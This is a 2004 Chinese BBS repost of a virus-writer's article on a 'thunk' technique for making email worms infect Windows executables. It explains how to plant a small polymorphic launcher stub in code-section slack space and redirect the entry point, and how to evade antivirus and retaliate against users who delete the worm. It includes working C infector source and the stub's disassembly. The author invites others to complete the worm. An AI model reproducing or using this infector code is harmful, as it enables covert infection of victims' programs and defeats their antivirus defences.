Virus 版 (精华区)

发信人: Kernel (Kermit), 信区: Virus
标  题: 蠕虫文件感染新技术(zz)
发信站: 哈工大紫丁香 (Sun Mar 21 20:27:55 2004), 站内信件


蠕虫文件感染新技术 Thunk Code Infection
By Vancheer/CVC
这里所说的感染技术,未见有蠕虫用过,所以谓之为新。本来这个技术打算用在我策划(
或者叫谋划、煽动)的新一代Email蠕虫里的。该蠕虫一旦成功,有望成为又一个“奇迹”
。但遗憾的是,由于种种原因,这个蠕虫没有最终完成,整个计划失败了。所以我现在才
能公开这个技术,而且其它的一些技术,也将逐步公布出来。如果有CVC的兄弟想完成这个
蠕虫,可以联系我。

这里的蠕虫,指的是高级语言蠕虫或者用汇编写的但作为文件独立存在的蠕虫。

首先看看目前已有的蠕虫感染文件的主要方法。
1,捆绑。比如Nimda,把原文件放在自己的资源里,当然也可以放在蠕虫文件的尾部。缺
点是原文件增大太多,容易被发现。
2,伴侣。比如Klez,生成一个和原文件大小一模一样的蠕虫文件。缺点是无故增加了一个
文件,而且不能感染所有文件。
上面两种方式,都存在一个问题,原文件启动变慢太多。
3,作为DLL存在,然后在每一个被感染文件里插入一个Import项。缺点是一旦蠕虫被删除
,则所有被感染文件都运行不了了。
4,不感染。很多蠕虫是这种方式。缺点是太容易清除了,即使不用杀毒软件,只要把蠕虫
文件一删,就算清除了。

我这种方法,是一个折中的方法。
具体做法是:
把蠕虫文件Copy到系统目录(或者其它目录),只生成一个文件。然后全盘搜索,感染文
件。感染时,在被感染文件体内插入一小段汇编代码(thunk),用来调用蠕虫程序。调用的
方法,当然是CreateProcess了。
大致代码如下
set seh
call CreateProcess
remove seh
return to host
sehHandler:
set eip to host entry point

每个人都可以写出不同的插入代码,功能也不一样,上面是我写的基本伪代码,解释如下

1,这段代码最大也不会超过100字节,好处是可以不增大宿主文件的大小,而是利用代码
块最后的空隙插入,这样也不容易被启发式查出。下面讨论的几点,也都是出于优化大小
的目的。
2,CreateProcess的地址,可以由蠕虫感染时写入当前OS的硬地址。这是比较合理的,因
为一般用户不会经常切换操作系统的。
3,SEH的建立是防止CreateProcess地址不对(OS不对)导致异常。

好处和改进:
1,CreateProcess的地址,也可以不用硬编码,可以动态获得。但搜索Kernel32基地址不
太值得,可以像Funlove那样硬编码若干OS的地址。
2,一个大问题是清除比较容易,只要删除蠕虫文件就行了。改进方法是一旦发现CreateP
rocess失败(不是发生异常),就判断是不是感染的主机,如果不是,说明此可执行文件
被Copy到别的机器上了,那么就跳回宿主继续执行,否则说明用户把蠕虫删除了,那就给
他点颜色,要么不执行,要么自删除此文件。
判断是否是感染主机,可以采用判断机器名的方式,也可以用其它方法,原则是越简单越
好。
更狠一点的,是不管三七二十一,一律自删除。
3,可以使被感染文件启动迅速。如果蠕虫用Mutex来判断是否运行,那么在那段thunk里就
可以直接判断Mutex,这样一般就不用启动蠕虫程序了。
4,可以进行完全的变形,使得thunk几乎无法被杀毒软件查出。由于插入的thunk比较小,
所以可以由程序随机生成,进行完全的变形。
5,不增加被感染文件的大小,可以感染大部分文件(除了少量SFX文件,代码块空隙不够
大的文件,等等)。
6,对于不同的被感染文件,由于可用的空隙不同,所以可以生成不同的thunk,如果空隙
大,则可以功能多点,空隙小,则就是一个最基本的CreateProcess就得了。这样就形成了
一种随机,在一个用户的系统里,有些文件是这样感染的,有些则是那样感染的,让用户
和AV软件不知所措。随机,是形成好病毒的基础之一………………

一个完整的thunk应该是下面这个样子
1,建立SEH
2,确定API(CreateProcess等)地址
3,检查Mutex
4,启动蠕虫程序
5,检查CreateProcess返回的错误情况,并做相应处理

其中只有第四步是最关键也是最必须的,1,2步是为了更安全,确保程序不崩溃,3是为了
使被感染文件启动迅速,5则是对抗用户删除蠕虫文件的行为。
再扩展一下思路,可以把插入的thunk看做一个PE病毒,这个病毒的目的就是启动蠕虫而已
,这样很多病毒的思路也可以放到thunk里了。

这种感染方式是否有效,还有待实践的检验。现在的蠕虫,越来越追求传播速度,疯狂发
Email,而不注意自身的隐蔽和健壮,结果导致传播速度越来越快,而杀毒也越来越容易。
一个好的文件感染方法,是非常必要的,可以令杀毒变得麻烦。
我心目中的理想Email蠕虫,不是一天发上千万邮件的(这种东西Spammer做的就很好了)
,而是感染范围广,存活时间长,让用户杀毒的时候感到头疼的。

下面是我为原来的蠕虫计划写的感染代码,用VC实现,是最简单的,只进行了非常初级的
变形(调换寄存器)。

#include "windows.h"

char *InfectCode = NULL;
DWORD aCreateProcess = 0;

int GetRand()
{
   return rand();
}

//disassemblied thunk code
/*
:00401000.6842104000     push   00401042                   
:00401005 33C9           xor    ecx,ecx                    
:00401007 64FF31         push   fs:dword ptr [ecx]         
:0040100A 648921         mov    fs:[ecx],esp               
:0040100D 33C0           xor    eax,eax                    
:0040100F 6A10           push   00000010                   
:00401011 59             pop    ecx                        
:00401012 50             push   eax                        
:00401013 E2FD           loop   T.00401012 (00401012)    
:00401015 6A44           push   00000044                   
:00401017 8BD4           mov    edx,esp                    
:00401019 83EC10         sub    esp,00000010               
:0040101C 8BCC           mov    ecx,esp                    
:0040101E 51             push   ecx                        
:0040101F 52             push   edx                        
:00401020 50             push   eax                        
:00401021 50             push   eax                        
:00401022 50             push   eax                        
:00401023 50             push   eax                        
:00401023 50             push   eax                        
:00401024 50             push   eax                        
:00401025 50             push   eax                        
:00401026 6854104000     push   00401054                   
:0040102B 50             push   eax                        
:0040102C B878563412     mov    eax,12345678               
:00401031 FFD0           call   eax                        
:00401033 83C454         add    esp,00000054               
:00401036 33C9           xor    ecx,ecx                    
:00401038 648F01         pop    fs:dword ptr [ecx]         
:0040103B 5E             pop    esi                        
:0040103C 6868104000     push   00401068                   
:00401041 C3             ret                               
:00401042 6868104000     push   00401068                   
:00401047 8B442410       mov    eax,[esp+10]               
:0040104B 8F80B8000000   pop    dword ptr [eax+000000B8]   
:00401051 33C0           xor    eax,eax                    
:00401053 C3             ret                               
;vfilename is here
*/

/*
Build the thunk code. This is the kernel code.
Parameters:
hostentry:original file's code entry point(RVA)
startaddr:where my thunk code start(RVA)
vname:worm file name, include full path
*/
int BuildInfectCode(const DWORD hostentry, const DWORD startaddr, const char *
vname)
{
   char *p = InfectCode;
   unsigned char t, c1, c2;
   int i;

   if(0 == aCreateProcess)
       aCreateProcess = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),
 "CreateProcessA");
//code body
   *p++ = 0x68; //push
   *(DWORD *)p = startaddr + 0x42; //seh handler
   p += 4;
   t = GetRand() % 3; //eax, edx, ecx
   *p++ = 0x31 + ((GetRand() && 1) << 1); //xor
   *p++ = 0xc0 | (t << 3) | t; //xor reg, reg
   *p++ = 0x64; //fs
   *p++ = 0xff; //push
   *p++ = 0x30 | t;
   *p++ = 0x64; //fs
   *p++ = 0x89; //mov
   *p++ = 0x20 | t; //mov [reg], esp

   t = GetRand() % 3; //eax, edx
   if(0x01 == t) t = 0; //don't use ecx
   *p++ = 0x31 + ((GetRand() && 1) << 1); //xor
   *p++ = 0xc0 | (t << 3) | t; //xor reg, reg
   *(WORD *)p = 0x106a; //push 10h
   p += 2;
   *p++ = 0x59; //pop ecx
   *p++ = 0x50 | t; //push reg
   *(WORD *)p = 0xfde2; //loop $ - 3
   p += 2;

   *(WORD *)p = 0x446a; //push 44h
   p += 2;

   c1 = (t + 1) % 3;
   for(c2 = 0; c2 < 3; c2++)
       if(c2 != t && c2 != c1) break;
   *p++ = 0x8b; //mov
   *p++ = 0xc4 | (c1 << 3); //mov reg1, esp STARTUPINFO
   *(DWORD *)p = 0x8b10ec83; //sub esp, 10h/mov
   p += 4;
   *p++ = 0xc4 | (c2 << 3); //mov reg2, esp PROCESS_INformATION 
   *p++ = 0x50 | c2; //push reg2
   *p++ = 0x50 | c1; //push reg1
   for(i = 0; i < 6; i++)
       *p++ = 0x50 | t; //push reg, reg is 0

   *p++ = 0x68; //push
   *(DWORD *)p = startaddr + 0x54; //virus file name
   p += 4;
   *p++ = 0x50 | t; //push reg, reg is 0

   t = GetRand() % 3; //eax, edx, ecx
   *p++ = 0xb8 | t; //mov
   *(DWORD *)p = aCreateProcess; //mov reg, aCreateProcess
   p += 4;
   *p++ = 0xff;
   *p++ = 0xd0 | t; //call reg
   t = GetRand() % 3; //eax, edx, ecx
   *(DWORD *)p = 0x3354c483; //add esp, 54h/xor
   p += 4;
   *p++ = 0xc0 | (t << 3) | t; //xor reg, reg
   *p++ = 0x64; //fs
   *p++ = 0x8f; //push
   *p++ = t;
   *p++ = 0x58 | (GetRand() % 3);

   *p++ = 0x68; //push
   *(DWORD *)p = hostentry; //host entry
   p += 4;
   *p++ = 0xc3; //retn

//seh handler
   *p++ = 0x68; //push
   *(DWORD *)p = hostentry; //host entry
   p += 4;
   *(DWORD *)p = 0x1024448b; //mov eax, [esp + 10h]
   p += 4;
   *(WORD *)p = 0x808f; //pop
   p += 2;
   *(DWORD *)p = 0xb8; //pop [eax + 0b8h]
   p += 4;
   *(WORD *)p = 0xc033; //xor eax,eax
   p += 2;
   *p++ = 0xc3; //retn

   i = -1;
   do {
       *p++ = vname[++i];
   }while(vname[i] != 0);

   return p - InfectCode;
}

void InfectFileHelper(char *buf, const char *vname)
{
   char *p = buf, *sec;
   DWORD entry, code, t, startaddr, base;
   int i, seccount, clen;

   if(NULL == InfectCode)
       InfectCode = new char[4096];
   try {
       if(*(WORD *)p != 0x5a4d) return;
       p = buf + *(WORD *)(p + 0x3c);
       if(*(WORD *)p != 0x4550) return;
       t = *(WORD *)(p + 0x5c);
       if(t != 0x02 && t != 0x03) return;
       entry = *(DWORD *)(p + 0x28);
       sec = p + 0x100;
       seccount = *(WORD *)(p + 6);
       for(i = 0; i < seccount; i++) {
           if(*(DWORD *)(sec + 4) <= entry
               && *(DWORD *)sec + *(DWORD *)(sec + 4) > entry)
               break;
           sec += 0x28;
       }
       if(i >= seccount - 1)
           return; //assume the code section is not the last one
       t = *(DWORD *)(sec + 0x08);
       if(*(DWORD *)sec < t) t = *(DWORD *)sec;
       startaddr = *(DWORD *)(sec + 0x04) + t;
       base = *(DWORD *)(p + 0x34);
       clen = BuildInfectCode(entry + base, startaddr + base, vname);
       code = t + *(DWORD *)(sec + 0x0c);
       if(*(DWORD *)(sec + 0x28 + 0x0c)
           <= code + clen)
           return; //no enough room
       MoveMemory(buf + code, InfectCode, clen);
       *(DWORD *)(p + 0x28) = startaddr;
   }
   catch(...) {
   }
}

void InfectFile(const char *filename, const char *vname)
{
   HANDLE fh, fm;
   DWORD fa = GetFileAttributes(filename);
   FILETIME ft[3];
   char *buf;
   
   SetFileAttributes(filename, FILE_ATTRIBUTE_NORMAL);
   GetFileTime(fh, ft, ft + 1, ft + 2);
   fh = CreateFile(filename, GENERIC_READ | GENERIC_WRITE,
       FILE_SHARE_READ, NULL, OPEN_EXISTING,
       FILE_ATTRIBUTE_NORMAL, 0);
   if(INVALID_HANDLE_value == fh) goto end;

   fm  = CreateFileMapping(fh, NULL, PAGE_READWRITE, 0, 0, NULL);
   if(fm != NULL) {
       buf = (char *)MapViewOfFile(fm, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0
);       
       if(buf != NULL) {
           InfectFileHelper(buf, vname);
           UnmapViewOfFile(buf);
       }
       CloseHandle(fm);
   }
   CloseHandle(fh);
end:
   SetFileAttributes(filename, fa);
   SetFileTime(fh, ft, ft + 1, ft + 2);
}

int main()
{
   srand(GetTickCount());
   InfectFile("D:\\cpp\\vt\\t2.exe", "e:\\tool\\peviewer.exe");
   return 0;

--

※ 来源:.哈工大紫丁香 bbs.hit.edu.cn [FROM: 218.108.200.63]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:210.714毫秒